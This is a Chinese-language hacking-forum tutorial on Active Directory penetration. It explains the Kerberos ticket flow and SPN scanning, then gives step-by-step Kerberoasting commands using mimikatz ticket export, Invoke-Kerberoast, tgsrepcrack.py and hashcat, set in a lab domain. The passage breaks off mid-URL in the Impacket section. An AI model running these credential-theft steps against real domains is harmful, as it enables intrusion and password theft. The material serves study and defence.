taibeihacker
Moderator
0X00 域渗透-Kerberos
1.Kerberos简介
在Kerberos認證中,最主要的問題是如何證明“你是你”的問題,如當一個Client去訪問Server服務器上的某服務時,Server如何判斷Client是否有權限來訪問自己主機上的服務,同時保證在這個過程中的通訊內容即使被攔截或篡改也不影響通訊的安全性,這正是Kerberos解決的問題。在域滲透過程中Kerberos協議的攻防也是很重要的存在。2.Kerberos协议框架
在Kerberos協議中主要是有三個角色的存在:訪問服務的Client提供服務的ServerKDC(Key Distribution Center)密鑰分發中心其中KDC服務默認會安裝在一個域的域控中,而Client和Server為域內的用戶或者是服務,如HTTP服務,SQL服務。在Kerberos中Client是否有權限訪問Server端的服務由KDC發放的票據來決定。

如果把Kerberos中的票據類比為一張火車票,那麼Client端就是乘客,Server端就是火車,而KDC就是就是車站的認證系統。如果Client端的票據是合法的(由你本人身份證購買並由你本人持有)同時有訪問Server端服務的權限(車票對應車次正確)那麼你才能上車。當然和火車票不一樣的是Kerberos中有存在兩張票,而火車票從頭到尾只有一張。
由上圖中可以看到KDC又分為兩個部分:
Authentication Server: AS的作用就是驗證Client端的身份(確定你是身份證上的本人),驗證通過就會給一張TGT(Ticket Granting Ticket)票給Client。
Ticket Granting Server: TGS的作用是通過AS發送給Client的票(TGT)換取訪問Server端的票(上車的票ST)。 ST(ServiceTicket)也有資料稱為TGS Ticket,為了和TGS區分,在這裡就用ST來說明。

KDC服務框架中包含一個KRBTGT賬戶,它是在創建域時系統自動創建的一個賬號,可以暫時理解為他就是一個無法登陸的賬號。

3.Kerberos认证
流程當Client想要訪問Server上的某個服務時,需要先向AS證明自己的身份,然後通過AS發放的TGT向Server發起認證請求,這個過程分為三塊:The Authentication Service Exchange:Client與AS的交互
The Ticket-Granting Service (TGS) Exchange:Client與TGS的交互
The Client/Server Authentication Exchange:Client與Server的交互

(1)TheAuthentication Service ExchangeKRB_AS_REQ
Client-AS:發送Authenticator1(Client 密碼加密TimeStamp)
第一步Client 先向KDC 的AS 發送Authenticator1,內容為通過Client 密碼Hash 加密的時間戳、ClientID、網絡地址、加密類型等內容。

KRB_AS_REP
AS- Client:發送Client 密碼加密的sessionkey-as 和票據TGT(KRBTGT HASH 加密的sessionkey-as 和TimeStamp)
在KDC 中存儲了域中所有用戶的密碼HASH,當AS 接收到Client 的請求之後會根據KDC 中存儲的密碼來解密,解密成功並且驗證信息。驗證成功後返回給Client 由Client 密碼HASH 加密的sessionkey-as 和TGT(由KRBTGT HASH 加密的sessionkey-as 和TimeStamp 等信息)。
(2)TheTicket-Granting Service (TGS) ExchangeKRB_TGS_REQ
Client -TGS 發送Authenticator2 (sessionkey-as 加密TimeStamp) 和票據TGT(KRBTGT HASH 加密的sessionkey-as 和TimeStamp)
Client 接收到了加密後的Sessionkey-as 和TGT 之後,用自身密碼解密得到Sessionkey-as,TGT 是由KDC 密碼加密,Client 無法解密。這時Client 再用Sessionkey-as 加密TimeStamp 和TGT 一起發送給KDC 中的TGS(TicketGranting Server)票據授權服務器換取能夠訪問Server 的票據。

KRB_TGS_REP
TGS- Client 發送密文1(sessionkey-as 加密sessionkey-tgs) 和票據ST(Server 密碼HASH 加密sessionkey-tgs)
TGS 收到Client 發送過來的TGT 和Sessionkey-as 加密的TimeStamp 之後,首先會檢查自身是否存在Client 所請求的服務。如果服務存在,則用KRBTGT 密碼解密TGT。一般情況下TGS 會檢查TGT 中的時間戳查看TGT 是否過期,且原始地址是否和TGT 中保存的地址相同。驗證成功之後將用sessionkey-as 加密的sessionkey-tgs 和Server 密碼HASH 加密的Sessionkey-tgs 發送給Client。
(3)TheClient/Server Authentication ExchangeKRB_AP_REQ
Client -Server 發送Authenticator3(sessionkey-tgs 加密TimeStamp) 和票據ST(Server 密碼HASH 加密sessionkey-tgs)
Client 收到sessionkey-as 加密的sessionkey-tgs 和Server 密碼HASH 加密的sessionkey-tgs 之後用sessionkey-as 解密得到sessionkey-tgs,然後把sessionkey-tgs 加密的TimeStamp 和ST 一起發送給Server。

KRB_AP_REP
Server- Client
server 通過自己的密碼解密ST,得到sessionkey-tgs, 再用sessionkey-tgs 解密Authenticator3 得到TimeStamp,驗證正確返回驗證成功。
0X01 域渗透-SPN
1.SPN 简介
服務主體名稱(SPN:ServicePrincipal Names)是服務實例(可以理解為一個服務,比如HTTP、MSSQL)的唯一標識符。 Kerberos 身份驗證使用SPN 將服務實例與服務登錄帳戶相關聯。如果在整個林或域中的計算機上安裝多個服務實例,則每個實例都必須具有自己的SPN。如果客戶端可能使用多個名稱進行身份驗證,則給定服務實例可以具有多個SPN。 SPN 始終包含運行服務實例的主機的名稱,因此服務實例可以為其主機的每個名稱或別名註冊SPN。如果用一句話來說明的話就是如果想使用Kerberos 協議來認證服務,那麼必須正確配置SPN。
2.SPN 格式与配置
在SPN 的語法中存在四種元素,兩個必須元素和兩個額外元素,其中和為必須元素:serviceclass/host

service class:標識服務類的字符串
host:服務所在主機名稱
port:服務端口
service name:服務名稱
例:
為SQL Server 服務帳戶註冊SPN
手動註冊:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname
對應的命名實例:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname
如果我想把域中一台主機Srv-DB-0day中的MSSQL 服務註冊到SPN 中則可以使用命令:
setspn -A MSSQLSvc/Srv-DB-0day.Oday.org:1433 sqladmin
可以通過下面兩個命令來查看已經註冊的SPN。
setspn -q */*
setspn -T 0day.org -q */*


3.SPN扫描
在了解了Kerberos 和SPN 之後,可以通過SPN 來獲取想要的信息,比如想知道域內哪些主機安裝了什麼服務,就不需要再進行批量的網絡端口掃描。在一個大型域中通常會有不止一個的服務註冊SPN,所以可以通過「SPN 掃描」的方式來查看域內的服務。相對於通常的網絡端口掃描的優點是不用直接和服務主機建立連接,且隱蔽性更高。4.扫描工具
GetUserSPNs
GetUserSPNs 是Kerberoast 工具集中的一個powershell 腳本,用來查詢域內註冊的SPN。Import-module .\GetUserSPNs.ps1

PowerView
PowerView 是由Will Schroeder(https://twitter.com/harmj0y)開發的Powershell 腳本,在Powersploit 和Empire 工具裡都有集成,PowerView 相對於上面幾種是根據不同用戶的objectsid 來返回,返回的信息更加詳細。Import-module .\powerview.ps1
Get-NetUser -SPN

5.原理说明
在SPN 掃描時可以直接通過腳本,或者命令去獲悉內網已經註冊的SPN 內容。那如果想了解這個過程是如何實現的,就需要提到LDAP 協議。LDAP 協議全稱是LightweightDirectory Access Protocol,一般翻譯成輕量目錄訪問協議。是一種用來查詢與更新Active Directory 的目錄服務通信協議。 AD 域服務利用LDAP 命名路徑(LDAP naming path)來表示對像在AD 內的位置,以便用它來訪問AD 內的對象。
LDAP 數據的組織方式:

更直觀的說可以把LDAP 協議理解為一個關係型數據庫,其中存儲了域內主機的各種配置信息。
在域控中默認安裝了ADSI 編輯器,全稱ActiveDirectory Service Interfaces Editor (ADSI Edit),是一種LDAP 的編輯器,可以通過在域控中運行adsiedit.msc 來打開(服務器上都有,但是只有域控中的有整個域內的配置信息)。

通過adsiedit.msc 我們可以修改和編輯LADP,在SPN 查詢時實際上就是查詢LADP 中存儲的內容。
比如在我們是實驗環境域0day.org中,存在名為運維組的一個OU(OrganizationUnit,可以理解為一個部門,如行政、財務等等),其中包含了sqlsvr 這個用戶,從用戶屬性中可以看到sqlsvr 註冊過的SPN 內容。

在一台主機執行
setspn -T 0day.org -q */*
命令查詢域內SPN 時,通過抓包可以看到正是通過LDAP 協議向域控中安裝的LDAP 服務查詢了SPN 的內容。
如圖在主機192.168.3.62上執行目錄,在域控192.168.3.142可以看到LDAP協議的流量。

流量中的查詢結果:

Powershell 腳本其實主要就是通過查詢LDAP 的內容並對返回結果做一個過濾,然後展示出來。
6.Kerberoasting
介紹Kerberos 的認證流程時說到,在KRB_TGS_REP 中,TGS 會返回給Client 一張票據ST,而ST 是由Client 請求的Server 端密碼進行加密的。當Kerberos 協議設置票據為RC4 方式加密時,我們就可以通過爆破在Client 端獲取的票據ST,從而獲得Server 端的密碼。下圖為設置Kerberos 的加密方式,在域中可以在域控的「本地安全策略」中進行設置:

設置RC4 方式加密。

設置完成之後運行里輸入「gpupdate」刷新組策略,策略生效。
7.Kerberoasting攻击方式一
一、在域內主機PC-Jack 中通過Kerberoast 中的GetUserSPNs.vbs 進行SPN 掃描。cscript GetUserSPNs.vbs

二、根據掃描出的結果使用微軟提供的類KerberosRequestorSecurityToken 發起kerberos 請求,申請ST 票據。
PS C:\ Add-Type -AssemblyName System.IdentityModel
PS C:\ New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/Srv-Web-Kit.rootkit.org'

三、Kerberos 協議中請求的票據會保存在內存中,可以通過klist 命令查看當前會話存儲的kerberos 票據。

使用mimikatz 導出。
kerberos:list /export

使用kerberoast 工具集中的tgsrepcrack.py 工具進行離線爆破,成功得到jerry賬號的密碼admin!@#45
python2 tgsrepcrack.py wordlist.txt '1-40a10000-jerry@MSSQLSvc~Srv-Web-Kit.rootkit.org-ROOTKIT.ORG.kirbi'

8.Kerberoasting攻击方式二
Kerberoasting攻擊方式一中需要通過mimikatz 從內存中導出票據,Invoke-Kerberoast 通過提取票據傳輸時的原始字節,轉換成John the Ripper 或者HashCat 能夠直接爆破的字符串。使用Invoke-Kerberoast 腳本(這裡使用的是Empire 中的Invoke-Kerberoast.ps1)。
Import-module Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl
–outputformat 參數可以指定輸出的格式,可選John the Ripper 和Hashcat 兩種格式

二、使用HASHCAT 工具進行破解:
PSC: hashcat64.exe –m 13100 test1.txt password.list --force

9.Impacket 进行Kerberoasting
這裡要用到impacket工具包,該工具包用於對SMB1-3或IPv4/IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等協議進行低級編程訪問。這裡我們使用的是GetUserSPNs工具,可使用該工具對目標主機進行SPN探測。https://github.com/SecureAuthCorp/impacket 官方倉庫https://github.com/maaaaz/im